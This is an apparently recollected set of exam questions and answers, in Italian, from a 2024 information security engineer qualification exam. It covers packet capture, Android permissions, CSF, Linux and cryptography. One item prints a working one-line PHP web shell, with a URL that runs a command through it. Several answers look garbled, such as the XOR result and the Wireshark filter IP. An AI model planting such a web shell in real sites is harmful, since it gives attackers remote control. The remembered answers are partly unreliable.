2024InformationSecurityEngineer

Ingegnere della Sicurezza Informatica 2024, 2024InformationSecurityEngineer

Ingegnere della Sicurezza Informatica - Secondo semestre 2024

Esempi di domande ricordate

Esame di qualificazione software - Data dell'esame : 2024年11月08日

I. Cattura di pacchetti del firewall (14 punti)

1. Lunghezza del pacchetto ___ (2 punti) Risposta: 63
2. Macchina fisica o macchina virtuale ___ (2 punti) Risposta: macchina virtuale
3. IP e porta dell'host di controllo ___ (2 punti) Risposta: 192.168.1.218 14444
4. Regola di filtro di Wireshark per IP e porta ___ (2 punti) Risposta: ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. Comando utilizzato dall'host di controllo (2 punti) Risposta: ipconfig
6. Scorciatoia di Windows per aprire il firewall ___ (2 punti) Risposta: firewall.cpl
7. Quale opzione ___ (2 punti) Risposta: Personalizzata

II. Domanda su Android (16 punti)

1. Directory/file in cui è archiviata la firma ___ (2 punti) Risposta: META-INF

2. Directory/file in cui sono archiviati i permessi ___ (2 punti) Risposta: AndroidManifest.xml

3. Domanda 5 (10 punti) （1）Quale impostazione supporta il backup; （2）Può leggere le informazioni sulla posizione storica: ci sono rischi per la sicurezza; （3）Nel file di configurazione, quali dei quattro componenti principali vengono utilizzati; （4）Quale componente presenta il rischio più elevato di fuga di informazioni; （5）Esiste un uso improprio delle informazioni? Spiegare in dettaglio;

   Risposta: （1）backup...... non supporta il backup （2）Esistono rischi: le informazioni sconosciute rischiano di essere divulgate （3）Activity, BroadcastRecevier （4）Contentprovider （5）Esiste un uso improprio delle informazioni: permessi di posizione, fotocamera, archiviazione, contatti, multimedia, Bluetooth, ecc. Molti sono raccolti in modo eccessivo

4. L'utente in Android ha i permessi di root? (2 punti) Risposta: no

III. CSF (11 punti)

1. Quale modello di sicurezza ___ (2 punti) Risposta: PDRR

2. Sconosciuta

3. Il firewall appartiene a quale funzione principale ___ (2 punti) Risposta: Protezione

4. Domanda 2 (4 punti) （1）Quale funzione principale in più ha CSF rispetto a PDRR ___ (2 punti) Risposta: Identificazione （2）A quale funzione del CSF appartiene la valutazione del rischio ___ (2 punti) Risposta: Identificazione

5. Oltre all'identificazione degli asset, quali altre tre identificazioni esistono ___ (3 punti) Risposta: identificazione del rischio; identificazione delle vulnerabilità; identificazione delle misure di sicurezza esistenti

IV. Linux (13 punti)

1. Nome completo di ll ___ (2 punti) Risposta: ls -l

2. Si è root o utente normale ___ (2 punti) Risposta: root

3. Rappresentazione numerica dei permessi dei file ___ (2 punti) Risposta: rw-r--r-- 644

4. Cosa rappresenta ../ nell'immagine ___ (2 punti) Risposta: la directory superiore, /var/www/html

5. Comandi integrati in Linux per il calcolo di hash ___ (2 punti) md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> (5 punti)

1. Qual è la password di connessione corrispondente al file? Risposta: cmd
2. Quale metodo di richiesta HTTP? Risposta: GET
3. Supponendo che il dominio sia abc.com, URL di richiesta completo per eseguire whoami Risposta: abc.com/shell.php?cmd=system("whoami")

V. Crittografia (15 punti)

1. Oltre alla crittografia simmetrica e asimmetrica, in base alla modalità di elaborazione del testo in chiaro, come si può crittografare? (2 punti) Risposta: Crittografia a blocchi e crittografia a flusso
2. Gli 8 bit di a (2 punti) Risposta: 97 ---》 01100001
3. Risultato della crittografia XOR di a e abc (6 punti) Risposta: 032 oppure 00000000 00000011 00000010
4. Dati mi, ki, ci, qual è la formula per ottenere il testo in chiaro? (2 punti) Risposta: mi = ki XOR ^ ci
5. È sicuro crittografare due testi in chiaro diversi con la stessa chiave del cifrario a flusso? Perché? (2 punti) Risposta: Non è sicuro: da un testo in chiaro si può ricavare l'altro
6. Il cifrario a blocchi può essere utilizzato come cifrario a flusso? (1 punto) Risposta: Sì